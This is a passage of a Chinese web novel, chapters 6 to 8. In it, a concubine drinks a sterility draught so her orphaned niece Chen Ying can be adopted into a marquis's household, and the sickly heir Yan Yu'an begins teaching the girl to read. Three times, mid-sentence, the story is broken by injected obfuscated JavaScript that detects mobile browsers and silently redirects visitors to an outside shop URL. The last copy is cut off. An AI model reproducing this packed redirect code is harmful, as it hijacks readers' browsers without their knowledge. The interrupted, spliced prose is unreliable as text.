《状元郎的心尖宠》 6. 第 6 章 “是什么?” 秦氏敛了笑容,端坐着摆出主母架势,她觉得陈姨娘今日不寻常,可又说不清哪里不同。 还未等她琢磨清楚,就见陈姨娘端起药碗,朝她悠悠吐出三个字:“绝嗣汤。” 当年秦氏嫁进侯府做的第一桩事,便是给侯爷屋里几个通房灌了绝嗣汤。也正因这件事触怒太夫人,婆媳间龃龉多年。 触及陈姨娘不卑不亢的眼神,秦氏脸色终于有些绷不住,冷眼看向她:“你这究竟唱的哪一出?” \"妾身进府这些年一直没有遇过喜,若非这回有了身孕,妾身还以为自己这辈子没得子孙缘呢。”陈姨娘轻抚肚子,兀自一笑,“太夫人也时常感叹世子没个兄弟姊妹,府中甚是冷清。” 这狐媚子往日倒会夹着尾巴做人,如今仗着自己肚子能生养,就敢在她面前张狂得意。 秦氏冷笑一声,暗骂陈姨娘上不得台面,心里又被陈姨娘的话搅动火气,忍不住阴阳怪气道:“你且好生养着,若能为府里添个庶子庶女,我这个做母亲的定会好生教养,视如己出。” “夫人。” 陈姨娘突然打断她的话,端起药朝秦氏直直跪了下去,“妾身自愿喝下绝嗣汤,今后侯府也永远只有世子一个独子。” 这便是要跟她谈条件了? 之前说的那些,就为了加大谈判筹码,这点小伎俩也敢在她面前舞? 只不过这筹码确实诱人,当初秦氏冒着被婆母不喜的风险给通房灌药,还闹得个没脸没皮被训诫。后来陈姨娘以良妾身份纳进府,又不比那卖了身契的通房丫头,可由主子任意拿捏,委实是秦氏心头一根刺,不除不快。 她冷着脸,也不兜圈子:“说说你的条件。” 陈姨娘等的便是这句话,这也是她唯一能打动秦氏的筹码。至此她再无退路可言,心一横,闭眼仰起脖子将绝嗣汤一饮而尽。 她没有回答秦氏问题,先斩断自己退路:“求夫人收阿英为义女,待到及笄之年许一门好亲事。” 她自己也不知道哪来的孤注一掷的勇气,是对娘家侄女的怜惜回护,亦或是对秦氏为人耿介端方的了解。 那日秦氏离去后,陈姨娘转身就瞧见小姑娘从衣柜里钻出来,红着眼怯怯仰头望向她:“姑姑,你不要阿英了吗?” 一句话把陈姨娘问得心酸又心疼,一把揽着小姑娘埋进怀里,温柔地揉着她的发顶:“傻孩子,姑姑怎么舍得不要你呢。夫人收你做义女,往后你就能名正言顺住在侯府了。” 陈英想不明白,她只是来探望姑姑暂住在侯府的。往后她还是要回家的啊,阿爹答应过的,等战事结束就会和阿兄一起来京城接她回家。 可是云州城已经失守,阿爹和阿兄他们还会来接她回家么?愣了愣神,话到嘴边,又生生咽了下去。 可眼泪还是不争气掉下来,呼吸有些难受,憋在心里的恐惧,终究在姑姑温暖的怀中释放出来,她抽噎道:“阿爹和阿兄还会来接我么?” 陈姨娘知道她在哭,又将她搂得更紧。傻孩子,哪里还有家啊。 云州城被北狄人占领,朝廷也一直没有派援军,拖得时日越久,那城中百姓侥幸活下来又有多少。 可她不能告诉陈英,真相对她太过残忍。 强压住心头的悲痛,她擦掉眼泪,挤出个难看的笑容,无比坚定的说:“会的,他们一定会来接阿英回家的。” 没过几日,秦氏身边的柳嬷嬷领着绣房的人去陈姨娘院里,说是要给陈英量身裁衣裳。 这点动静,府中上下都瞧着,各人暗自揣摩主子心思。就连太夫人派来照顾陈英的两个丫鬟春桃和秋雁,也开始变得乖顺,照顾陈英也更加尽心。 等到中秋团圆节这天,府中惯例要吃一顿团圆宴。侯府人丁单薄,总共也不过四位正经主子,陈姨娘作为妾室,是没有资格坐下,只能站在秦氏身边伺候。 按理说,这样尴尬的身份,陈英自然不该出现。可陈姨娘还是带陈英来了。 秦氏和太夫人正说笑着,瞧见她们进来,秦氏起身拉起陈英的手,一脸慈爱打量她:“瞧瞧,这孩子小脸红扑扑的,像抹了胭脂似的。” 方才秦氏正和太夫人说起那日老道士说陈英命格极好,若伴在严昱安身边可以挡煞消灾。 瞧着眼前小姑娘面色红润,两颊圆润,一双黑白分明的杏眼明澈灵动,的确是个康健有福的孩子。 太夫人知道秦氏的意思,这样一个孤女养在府里非主非仆,传出去莫叫外人以为侯府苛待寄居孤女,倒不如给个体面,养在府里还能为世子挡煞消灾。 “阿英,坐这儿,让祖母好好看看。”太夫人笑呵呵地指了下身旁空座,又朝陈英伸出了手。 陈英紧张地往后缩,直到对上姑姑焦急的眼神,她才咬着唇朝太夫人走过去。 坐在太夫人身旁,陈英只觉得浑身紧绷,连呼吸都小心翼翼放缓,生怕惊动他人。 忽然门外传来脚步声,鼻尖嗅到一股极淡的草药味,有些清苦却不难闻。陈英心神一晃,偷偷抬起眼望去。 严昱安身形瘦削,一身天青色长衫被月白色镶玉腰带束起,衬得他脸色苍白得有种脆弱美。可他眼神又沉静泰然,周身散发着清冷贵气如寒山之雪,令人望而生怯。 他垂首朝太夫人和秦氏问安,目光扫到小姑娘时,微微一顿,随即他坐在秦氏身旁,对太夫人道:“孙儿方才去给父亲问安,父亲说他不过来了,让孙儿代他向祖母问安。” 太夫人攥着手里佛珠,头也不抬问了声:“你父亲身子无碍吧?” “劳祖母惦念,父亲一切都好。只是近来酒饮得多,孙儿已经嘱咐底下人留心看着。”严昱安垂眸应答,只是唇角泄露出一抹似有若无的讥诮。 这淮安侯自从废了腿,已经自甘堕落到整天醉生梦死,不问世事。现如今,偌大的侯府全仰赖天恩祖德,可也抵挡不住日渐没落的处境。 陈姨娘自是看在眼里,如今太夫人和秦氏心中唯一的指望便是这个病弱世子爷。 这十多年来,这位世子爷日日汤药不断,若是生在寻常百姓家,怕是活不过三岁。如今这样一个病秧子还要走科举仕途,只怕那身子骨未必能熬得到科考那日吧。 还是膳房送来食盒,陈姨娘这才敛神,忙迎上去帮着摆盘布菜。陈英圆溜溜的眼珠一直可怜巴巴望着陈姨娘,陈姨娘垂着眼,只在无人觉察的时候悄悄抚了扶小姑娘的后背,以示宽慰。 珍馐美味在前,陈英只觉得如坐针毡,迟迟不敢动筷子。秦氏垂眸用帕子掩了下嘴角,再掀起眼皮时,唇边漾起笑容:“我今日瞧着这小丫头甚是合眼缘,若是能有个这样的女儿我可喜欢得紧。” 一旁伺候的柳嬷嬷走到陈英身旁定眼仔细瞧她,随即弯下腰牵她到秦氏身前,笑眯眯地把陈英往前推了一把:“奴婢瞧着阿英姑娘和夫人有几分像呢,夫人慈善,这是菩萨真人给夫人送女儿来呢。” “阿英可愿意做我的义女?” 秦氏给柳嬷嬷一个眼神,柳嬷嬷立即引着陈英跪下,又将早先预备好的茶盏端了过来。 愿意吗?陈英不过八岁,父兄生死不明,她还能欢天喜地给别人做女儿吗?可是有些事情由不得她。因为姑姑为了她,再也不能有孩子了。 她不能让姑姑失望。唇角一弯,牵起两个浅浅梨涡,她接过茶盏,高举过头顶递到秦氏面前,“母亲请喝茶。” 秦氏接过茶盏,垂眸间目光在陈姨娘面上扫过,又将茶盏放下,温声道:“阿英,快给你祖母、哥哥敬杯茶吧。” 陈英又给太夫人敬茶,再端着茶盏走到严昱安身旁时,紧张得头也没抬就递了过去:“世子哥哥请喝茶。” 眼前的小姑娘端茶的手腕轻颤着,低头露出一截白皙纤细的脖颈,两侧耳朵连着香腮一片绯红,一副紧张怯懦的模样,莫名有些可怜。 严昱安视线一转,不经意扫过秦氏身后一脸平静的陈姨娘,这背后的曲折倒也不难猜想。 云州陷落,小姑娘无家可归。暂居侯府,也的确需要一个名分。平白多了个妹妹,倒也算不得什么大事。 严昱安伸手接茶杯,就在两人靠近时,他轻声说了一句,“愿你早日与家人团聚。” 陈英蓦地抬起头,一双杏眼亮晶晶地盯着严昱安,触及对方眼中一闪而过的关切温柔,一股无名的酸涩涌上鼻尖。 在眼泪溢出眼眶前,她匆忙垂下头,一滴滴泪珠悄无声息落入地毯。 泪水沾湿眼睫,迷蒙间,一只骨节分明的手递来素色帕子。 陈英接过帕子擦掉眼泪,唇角抿出笑容,湿漉漉的眼睫扑闪着,眸光清亮如冰晶剔透,她抬起脸,甜甜一笑,泛红的香腮下显出两个小梨涡。 不动声色看了眼小姑娘,严昱安淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289335|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡移开视线。 这场中秋团圆宴结束后,府中上下也都知晓府中多了个主子。一个姨娘侄女,来京探亲拜寿,横遭变故无家可归,现如今又被向来心善的侯夫人收为养女的陈英。 私底下,丫鬟仆妇没有不念叨侯夫人菩萨心肠的,当然牙酸眼红陈英运道好的自然也不在少数。 只不过,陈英一点也不想要这样的运道。她想回家,她想回去找阿爹和阿兄,可她什么也不敢说。 直到柳嬷嬷领着几个仆妇来到陈姨娘的院子,一脸和善笑道:“英姑娘大喜,夫人爱女心切,怕姑娘住在姨娘这儿委屈了姑娘,特意吩咐老奴领着姑娘去桂院让姑娘住下呢。又调拨三五个粗使丫头婆子过去伺候姑娘起居,也好叫姨娘放心。” 这是要她搬家啊,陈英心里咯噔一下,慌忙看向姑姑。陈姨娘只是咬牙笑着,心思百转千回,最终还是点了点头。 阿英如今是侯府半个小姐,若一直跟姨娘住在一起,终究还是不妥。 “那桂院在府中何处?我怎么没听说过。”陈姨娘眉心拢了拢,一脸狐疑地看向柳嬷嬷。 柳嬷嬷只当是没瞧见陈姨娘脸上疑虑,一脸客气笑道:“夫人膝下没有女儿,故而甚是看重英姑娘呢。那桂院原是世子院中一处偏院,麻雀虽小但五脏俱全,一应家具物什都是按世子爷平日用度呢。左右不会亏待姑娘,也好叫姨娘放心。” 这一番话算是恩威并施,反倒叫陈姨娘不好再多说什么。答应下来便吩咐下人进来收拾陈英的行李,转头拉着陈英进自己屋子里关上了门。 屋里只剩下姑侄俩人,陈姨娘看了眼手足无措低着头的陈英,一时语塞,她摸了摸小姑娘毛茸茸的头发,心窝一阵酸涩又强忍着露出一个笑容:“以后记得晨昏去给你母亲还有祖母请安。” 她捏了下小姑娘的肉嘟嘟的脸蛋,好在陈英随了她兄长,身子一向康健,能吃能睡,这倒不用她担心,唯独一件事。 身在侯府十几年她再清楚不过那些捧高踩低,人前人后两副面孔的丫鬟奴仆。陈英年纪小,一向乖巧纯善,落在那些刁钻刻薄的丫鬟婆子手里,定是会受尽白眼欺凌。 她年轻时刚进侯府时,可不就受过侯府刁奴磋磨。若不是自己在秦氏面前做小伏低,她哪能在府中立足站稳? 心头冒出一个大胆的想法,若是府中有人能护住陈英,自然不会有刁奴敢怠慢轻视她。 “夫人心中世子最重,你若与世子相处融洽,她自然会善待于你,至于太夫人,她常年吃斋念佛,性子寡淡,你若能陪伴左右时常逗笑取乐,也能讨得她的欢心。你且记住,只有这样你才能在府里平安长大。” 临出门前,陈姨娘还是忍不住细细嘱咐陈英,终究还是希望这孩子能得到庇护,试一试又何妨? 最后是柳嬷嬷领着陈英去了世子院,又亲自安排丫鬟收拾卧榻,整理物品。等一切安置妥当,她这才板着脸,一脸认真交代:“夫人体谅姑娘,想着近来天气越发冷,姑娘每日晨昏问安也一并免了,只在初一和十五去太夫人那儿一并问安便可。” 陈英听出了她语气疏离,直愣愣地点头。 倒是个乖顺的孩子,不比她那个狐媚子姑姑,柳嬷嬷脸色也缓和些,临走前忍不住多嘱咐一句:“世子爷身子须得静养,姑娘平日若无事,莫要去打扰他。” \"阿英记下了。”陈英送走柳嬷嬷,整个人后背一松,缓缓吐息,这才敢抬起头四处打量。 这桂院原是世子院一处偏院,因院中一株桂花树而得名。此刻正值深秋,浓密碧叶间露出斑驳金色,晨光流泻其间,层层叠叠,煞是好看。 陈英正仰头凑近嗅嗅树上桂花香,春桃红着脸走过来,压低嗓音试探问:“姑娘,咱们搬进世子院,是不是该去拜会一下世子爷呀?” 一旁的秋雁撇了下嘴,只当没听见。陈英想起柳嬷嬷临走前的话,咬了下唇,小声怯怯说:“世子哥哥喜静,咱们还是不要去打扰他了。” 回到屋子,一个人静坐着。听见窗外隐隐传来两个说话声。 “不就是个乡野来的,也不掂量下自己是个什么身份,一点规矩都不懂。” “你少说两句,就你那点心思以为谁瞧不出来么?” “我什么心思?我不过是好心教教她规矩!” 陈英煞白着脸,攥紧五指,粉白的指甲陷入掌心,掐出一道道白印。 7. 第 7 章 深吸口气,忍住鼻尖酸涩,可眼泪还是不争气的流下来。 她有些想念周嬷嬷,好想抱在她怀里哭,可周嬷嬷年纪大了,身子骨也不好。前些日姑姑拿出体己钱在京郊悄悄置了几亩田产又雇了农户,把周嬷嬷安顿在那里也算是颐养天年。 如今想哭她都只能背着人,心里憋得委屈更是不敢告诉姑姑,她看得出来,姑姑在侯府的日子也并不好过。 陈英从袖袋中抽出帕子,胡乱摸了把眼泪。再一低头,看清手里的素色帕子,闻着还有淡淡草药香。陈英怔了怔,才想起来是严昱安的帕子。 这时,秋雁一脸愤懑进来,焦急地唤了陈英一声:“姑娘,快去院里管管吧。春桃教训新进来的小丫头,奴婢实在看不下去了。” 陈英身子一僵,想起方才在窗前听到的对话,心中顿生出惧意。还没等她张嘴,秋雁急忙上前拉着她往外走。 “我呸,贱丫头骨头还没几两重,你是吃了熊心豹子胆了吗?” 刚一出来,就瞧见春桃站在院中双手叉着腰,斜眼瞪着一个八九岁的小丫鬟。那小丫鬟双手环胸,低着头一动不动。 陈英脚下一顿,看到和自己年纪相仿的小丫鬟挨骂,心里竟有一丝难受。 几次动了动唇,她还是鼓足勇气开口,语气隐含怒意,“她做了什么?为何要那般骂她?” 话一出口,自己就愣住了。明明是不忍看到小丫鬟挨骂,可说出口的话就像是憋在心里压抑很久了。 她方才不也偷听到自己被骂么?可她只会偷偷抹眼泪,满肚子委屈也不敢跟人说。 春桃用指尖狠狠戳了下小丫鬟的脑门,小丫鬟重心不稳踉跄着后退,最后一屁股跌坐在地上。突然她怀里跳出一只橘色小猫,喵呜一声四爪落地,嗖地一下逃窜不见。 见小丫鬟神情呆滞的脸上挂着泪水,发髻松散的狼狈样子,春桃脸上怒气稍微散了些。 这才转头向陈英解释:“姑娘,这个野丫头不好好打扫院子,竟然跑到世子爷屋里乱转,幸好屋里没人,不然非得挨板子不可。” 陈英这才后知后觉,原来方才院子里骂的不是她。 刚松弛下来的心,在瞧见低低抽泣的小丫鬟时,心中又是一紧,她走上前扶起小丫鬟,轻声问:“你方才为什么要去世子屋里?” “奴婢方才看见猫跑进世子屋,奴婢只想把猫捉出来的。” 陈英想起方才小猫逃窜画面,原来是这样啊,她忽然心念一动:“那只猫是你养的吗?” 小丫鬟露出惊恐的表情,脑袋摇成拨浪鼓,急忙解释:“那猫是奴婢打扫院子时发现的,它从那树上跳下来,奴婢想捉住它不小心就跟进世子屋里。” 陈英心中不解,开口便问出来:“府里不许养猫吗?” 众人面面相觑,还是秋雁一脸慎重解释道:“这倒是没有规定,只是夫人从前在别府赴宴被猫挠过,后来府里上下瞧见野猫都会抓了丢出去。” 原来如此,这桂院之前一直闲置,怕是已经成了野猫的家,这下子小橘猫也被撵走无家可归。虽说那小猫从眼前一闪而过,瞧着明明还很瘦小可怜。 “姑娘,奴婢这就去找几个人过来抓猫,定不会扰了姑娘。”春桃见陈英若有所思,以为她是担心野猫闹腾,抬脚正要往外走。 “等等。”陈英急忙喊住她,顿了顿又说,“如果抓到猫,先抱来给我看看。” 春桃稍愣,见陈英紧张又胆怯的模样,只当她是小孩子动了好奇心,转瞬露出个了然的笑容,应了声是,便跨出了院子。 不过半天功夫,春桃单手拎着小橘猫后颈,提溜到陈英面前。 看着小橘猫爪子在胡乱扑腾,发出低沉又似乞怜的喵呜声,陈英心里隐隐有些难受。 她双手接过小橘猫搂在怀里,轻轻抚着小猫后背:“别怕,这里以后也是你的家。” “姑娘是要养这小野猫?” 尾音陡然提高,吓得小橘猫在陈英怀里缩了缩,春桃看向陈英,语气委婉地提醒她:“姑娘,夫人可不喜欢猫。” 陈英轻抚怀中的小橘猫,歪着头冲她一笑,“可是府里也没有规定不许养猫啊。” 这话反倒叫春桃怔住,她抿了下唇,再说不出劝阻的话来。 总归她劝也劝过,以后这猫若触怒夫人那也不是她的过错。再说,英姑娘以后就是自己的主子,若是强行劝阻反倒不讨好。 眼眸一转,她应了声是,转头去嘱咐院外小厮平日注意看紧小猫别跑出院子。 过了没几天,小橘猫在陈英屋里同吃同睡,从见人就缩成一团的瘦弱小可怜,摇身一变,垂着圆鼓鼓的肚皮,大摇大摆在院中溜达。 今天难得天气晴朗,晌午太阳照得人身上暖洋洋的,十分舒服。 小橘猫在桂树下吃完小鱼干,眯着眼正无比惬意地舔爪子。阳光透过绿叶落下斑驳光影,细细碎碎,直晃人眼。 陈英逗了会儿猫,有些犯困,伸了个懒腰正要进屋歇息,就听见一声尖利的喵呜声。 刚一回头,就看见小橘猫背脊高高耸起,浑身毛竖起,还没等她看清楚,小橘猫猛然扑向院门边一团灰黑,那灰黑瞬息窜得没影。 小橘猫也跟着扑出去,速度极快,陈英都来不及唤一声,便径直追上去。 眼看小橘猫钻进世子院正屋,陈英暗道一声糟糕,想到柳嬷嬷的叮嘱,一时间进退两难。正犹豫间,听见里面传来尖利的猫叫混着瓷器摔碎的声音,她的心也跟着直发颤。 陈英深吸口气跨进屋,严昱安正在书案前写字。 见她进来,他只愣了一下,随即提笔朝一旁方桌指了指。 陈英顺着他指的方向看去,视线落在满地水渍混着破碎瓷片,瞬间就瞪大眼睛,双手紧紧攥住衣摆:“对不起,是我没,没看住猫……” “那是你养的猫?”视线一瞬间变得温柔起来,严昱安将毛笔搁在笔架上,唇角微扬:“方才从窗户跳出去,平康已经去捉它了,不用着急。” 不知道为何,看到他唇边浅淡笑意,自己会感到莫名心安。 陈英抬眸仔细看过去,他今日穿的竹青色长衫,行动间隐隐有云纹流光浮现。许是很少出门的缘故,他的面庞苍白如月,瘦削的身形如松如竹,透着沉静肃冷。 攥着手心站在原地,视线不经意落在他面前的桌案上,一时好奇心起,走到桌案前凑上去看见宣纸上未干的字迹,仰头小声问他:“世子哥哥是在写字吗?” “嗯,在默写。”声音沉磁温柔,好似能透过耳蜗钻进人心底。 两人间只隔着一张桌案,陈英隐隐闻到草药香中藏有一种特别的味道,是严昱安身上独有的清淡温雅,如深秋里的日光并不炽热,却能抚慰人心。 感觉到他正注视自己,陈英只觉得两颊发烫,手足无措。忽然,她捂着脸将下巴搁在桌沿上,“我帮你把字吹干吧?” 说着便鼓起腮帮子对着桌案呼呼吹气,吹得宣纸哗哗作响。屋里只听见她的吹气声,还有宣纸抖动的声音,好像气氛更尴尬了。 下一刻,头顶被人轻拍了一下,陈英迷茫抬起头,就撞进一双蓄满温柔的眸子里。 “别吹了,脸都涨红了。”声音隐含笑意,下一瞬便有低笑声溢出。 陈英嘴唇微张,一脸无措地望向他。 严昱安深深看了她一眼,随即铺开一张雪白宣纸,凝神提笔。 不过几息,一只圆滚滚的小猫就跃然纸上,陈英圆眼大睁,顺着那空悬的笔尖往上看,骨节分明的手指,皙白的手腕,再是那张俊美无畴的脸上专注沉静的双眸。 两人视线一对,严昱安眼中划过一丝愉悦。小姑娘的眼睛果然和笔下一般无二,大而圆,灵动又乖巧。 “过来。” 陈英下意识身子往前倾,目光却丝毫不敢落在他身上,刻意将视线从严昱安旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289336|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧书架上轻轻掠过。 觉察到小姑娘的视线,严昱安垂下眼眸,正要落笔时又顿住,“你若想看书,书架上可自行去取。” 陈英手指不自觉蜷起,悄悄抠着桌沿,抿了下唇,有些心虚地看向他,“我,我不识字的。” 像是怕被他看轻,又急忙解释,“我阿爹说,我不用像哥哥那样念私塾,背书识字可累了。” 严昱安笔下一滞,神色不明地看向对面一脸窘迫小姑娘:“知道自己的名字怎么写吗?” 陈英迟疑了下,红着脸摇摇头。 似是意料之中的答案,严昱安提笔蘸墨一笔一划写下两个字,随后指给她看,神色温柔得像是在循循善诱一只误入歧路的羔羊,“这便是你的名字,想学识字吗?” 陈英觉得莫名其妙,念书识字不该是男子做的么?就像阿兄念私塾是为从军方便行事。她想不明白,自己学识字能有什么用处? 这话自然不好直说,她抿着唇角下弯,很认真地摇摇头。 也不知道是哪里惹得严昱安不快,他面色一沉,陡然将笔拍在桌案上,转身朝书架走去。 他身量颀长,尽管自幼病弱体虚,但宽肩窄腰,身形倜傥,丝毫不显病气。长袍宽袖更衬得他儒雅中多了份超然物外的疏离感。 “我要温书了,你请回吧。” 傍晚,陈英去陈姨娘院里吃晚饭,闲聊起严昱安问她想不想学识字的事。 陈姨娘在小姑娘说完话后,若有所思地转过头,看着旁边一脸天真只知道扒饭的小姑娘,直接将饭碗夺了下来,“别光知道吃,你和我仔细说说,世子是真心想教你识字,还是随便说的玩笑话?” 陈英放下筷子砸吧嘴,低着头认真想了会儿,似在喃喃自语,“开始还总对我笑,后来见我不愿学识字了,世子哥哥好像有些不高兴,还叫我走。” 声音越说越低,语气还有些涩涩的,她抬眸与陈姨娘对视一眼,委屈地撇撇嘴,“识字有什么用嘛!我又不能从军入伍,更不会参加科考。” 若是十年前,陈姨娘也一定是这么认为。她出身军户,从小到大接触过的女子,上至七十老妪,下至三岁女童,没有一个是识字的。 军堡里的女子从出生到老死,都不用识文断字,哪怕是从前线寄回的家书,也不过是找左邻右舍上过私塾的男丁帮忙念一念罢了。 也正因如此,她才会在十五六岁懵懂无知的年纪昏了头给人做妾。若不是这十几年在侯府做小伏低受尽主母磋磨,她也不会悔恨当初自己的蠢笨。宁为穷汉妻,不做高门妾。只可惜,她明白得太晚。 陈姨娘笼在衣袖下的手指攥得死紧,细长的指甲深深嵌入掌心。若是能让阿英读书识字,明辨是非,将来或许就能避免像她那样行差踏错,悔恨终生? 她平日守在自己院里,甚少接触严昱安,一个十三四岁的病秧子,十天里有七八天在吃药养病,听底下人说,脾气倒还宽厚,就是性子孤僻些,总是一个人冷冷清清的,瞧着也可怜。若是以后阿英能和他相处好,底下人惯会见风使舵,自是不敢欺负阿英。 这话自然不能明面上说,长长叹出一口气,神色哀伤地擦了下湿润的眼角,“阿英知道的,姑姑也不识字。记得小时候你阿爹念私塾回来,就会拿起书念给我听,那会儿,姑姑觉得那是一天中最快乐的时候。一晃眼,十多年过去再也没人会念书给我听。阿英,你可愿意学识字念书给姑姑听?” 双手捧起小姑娘白嫩的脸蛋,泪光闪闪的眼里满含期待和鼓励,叫人不自觉的想要点头答应她。 想到下落不明的阿爹和阿兄,陈英就算再懵懂无知,也晓得此刻只有姑姑和自己相依为命,凡事听姑姑的话,就不会错。 不再犹豫,用力点头,信誓旦旦道:“明日我就找世子哥哥学识字去,以后阿英念书给姑姑听。” 只是今天惹得世子哥哥不高兴,明天他还会愿意教她识字么? 8. 第 8 章 第二天一早,陈英从包袱里翻出一个小荷包,那是她私藏的零嘴。 以前阿爹下职回来总会带些小零嘴给她,糖粘花生,芝麻糖,蜜饯梅子什么的。从云州一路南下京城,如今荷包里只剩五颗蜜饯梅子,这还是她一直舍不得吃才攒下的。 蜜饯梅子在北方属于稀罕物,逢年过节阿爹才舍得买几颗给她解解馋,若不是这趟出远门,阿爹才不会舍得买给她。 这样想着,就觉得这蜜饯梅子分外贵重,若是拿这送给严昱安,教她识字的事必定能成。 打开荷包看了眼蜜饯梅子,想象那股酸甜在舌尖打转的滋味,不自觉咽了下口水。不知是不是咽口水声音太大,将旁边收拾床铺的春桃引了过来。 自从搬进世子院,春桃就一直在留心陈英一举一动。从前她倒也妄想过进世子院伺候,可世子爷近身的都是小厮,院里更是连个粗使丫鬟都没有。 按理说,世子爷也到了知晓那事的年纪,可一直病殃殃的,也没能选个通房丫鬟,这倒是生生掐断府里年轻丫鬟晋升侍妾的盼头。 不过,未来之事谁又说得准呢,她理了下头上新簪的鲜亮绢花,凑上来问:“姑娘这是要去找世子爷么?” “嗯,现在过去是不是有点早?”陈英攥了下手里荷包,又看了眼窗外阴沉天色,有些迟疑,“他会不会还没起榻?” 春桃笑着摇头,瞥见陈英手里装零嘴的荷包心下了然,便道,“姑娘怕是还不了解世子爷,除非病得下不得榻,平日里辰时便起来温书了。” “那我,现在就过去找他。”陈英恋恋不舍地将荷包收进袖袋,一边嘟囔着,“也不知他这会儿在正屋,还是在书房?” “在书房。” 几乎是下意识回答,春桃见她还犹豫着,上前半推半哄着陈英出门去。 哪知到书房门前被守在外的平康拦下,只说世子爷在用功温书,无事不得打扰。 陈英原本就有退怯心思,可一同前来的春桃这会儿更像个忠心为主的丫鬟,跟平康解释说,昨日英姑娘的猫打翻世子屋里花瓶,今儿个特意过来赔礼道歉。 也算个正大光明的事由,平康进屋禀告后,这才让陈英进书房,却把正要一同跟进去的春桃拦在门外,春桃气恼得直瞪眼瞅平康,平康倒也不计较,守在门前充耳不闻,眼观鼻,鼻观心。 这是陈英第一次进言昱安的书房,虽不如他起居的主屋宽敞,却内饰雅致,陈设精巧。最显眼的便是那满满当当的书架,书册摞得像小山一样,她脚步不觉放缓,只觉得当头而下的压迫感。 陈英看向临窗而立眉目清冷的少年时,心上又像被屋外瑟瑟秋风刮过,连呼吸都不自觉放缓,小心翼翼唤了声,“世子哥哥?” 半晌没有回应,呼吸也因心绪忐忑而起伏,陈英觉得他在为她不肯学识字而生气。 握紧手里荷包走上前,她轻扯他的衣袖,微扬起头怯怯看向他,“哥哥,你可不可以教我识字?” 像是怕被他拒绝,又忙补充,“我会很听话的,哥哥说什么我都会听,阿英以后再也不惹你生气了。” “我为何要生你的气?” 声音平静得听不出情绪,严昱安转过头,目光淡淡扫过被小姑娘拉住的衣袖,不动声色抽出来,走到书案后坐下,垂眸翻书不再看她。 陈英攥他衣袖的手一空,下意识收拢五指,此刻心情也如掌心一样虚无空泛。 她眼神四处飘忽,瞥见桌上白瓷碗底残留的黑褐色药汁,忽然眼眸一亮,看向他,“哥哥,方才是吃药了么?苦不苦?” “嗯,习惯了。”严昱安声音低缓,落在书上的目光有一瞬停顿。 药苦吗? 于他而言,药石济命,但从未有人问过他苦不苦。沉疴宿疾如火舌舔烛,且将他孱弱皮囊吞食殆尽,只恨病体拖累,前路渺茫。 陈英凝神静静看向他,方才临窗而立时的他,像一轮冷月高悬,疏离且孤寂。而此刻,他面容坚毅,眸光疏淡又落寞,竟让她生出想要亲近的莫名情愫。 她绕过桌案来到他身后,壮着胆子轻轻环抱住他。、 感觉怀中人身子一僵,她快速往他口中塞了颗蜜饯梅子,一边紧张得语无伦次,“我知道药很苦,从小我就怕吃药。每次吃完药只要吃颗梅子就不苦啦。” 口中酸甜还未细品,严昱安僵直的脊背窜起一股暖意,不知是来自小姑娘绵软的身上,还是自己因羞臊而起。 他强压住紊乱的气息,伸手将小姑娘的胳膊从身上拉开。 脸色仍是不好看,但动作却很轻柔,握着小姑娘的手腕还没松,他认真看向她,“阿英,不可无礼。” 陈英抽回手站直身子,见他一脸严肃,又缩了缩肩膀,有些不自然地嘴硬说,“你是哥哥,又不是旁人。” 严昱安一愣,蹙眉扫她一眼,她瞬间咬着唇,低下头不敢再顶嘴。 她虽只有八岁,但小孩子似乎对身边人亲疏感有敏锐觉察,这偌大侯府里,除了姑姑,便只有严昱安真心待她好。 不是丫鬟们心口不一的敷衍,更不是侯夫人和太夫人居高临下的施舍垂怜。他待她总是温和又可亲,这样相处久了便让她觉得和亲兄长没有分别。 只是,他终究不是亲兄长。 刚才一时冲动的亲昵之举,的确有些无礼,若叫旁人瞧见禀告了夫人,她定少不得挨顿罚。 她虽不识字,但也不是全然不知礼义廉耻,此刻后知后觉的,脸上陡然热意翻腾,羞臊得恨不得找个地缝钻进去。 严昱安不知道她的心思,只是见小姑娘低着头,玉白的耳尖上透着莹润嫩红,委屈巴巴的模样像只瑟缩不安的小白兔。 他牵唇一笑,屈指敲了下她的脑袋,“这就生气了?不是要跟我学识字么?” 这就是陈英不自觉想亲近严昱安的原因,当他清冷疏离的时候,总有一种孤月徘徊的忧郁清寂感,叫人心疼得只想上九天揽月入怀,为他驱散长夜的孤寂与寒冷。 而当他含笑看着你时,那眼中分明星河浩瀚,温柔得如一泓温泉水,引人迷醉沉溺而不自知。 面颊滚烫,热意更是窜上耳尖。她抬手揉了下脑袋,撅着嘴虚张声势,“哥哥,不要再取笑我了。” 小姑娘一面揉脑袋,发髻上的红穗子也跟着跳跃,灵动又娇俏。 严昱安指着桌上书册,唇角微扬,垂眸看向她,“就从这本《诗经》开始学吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 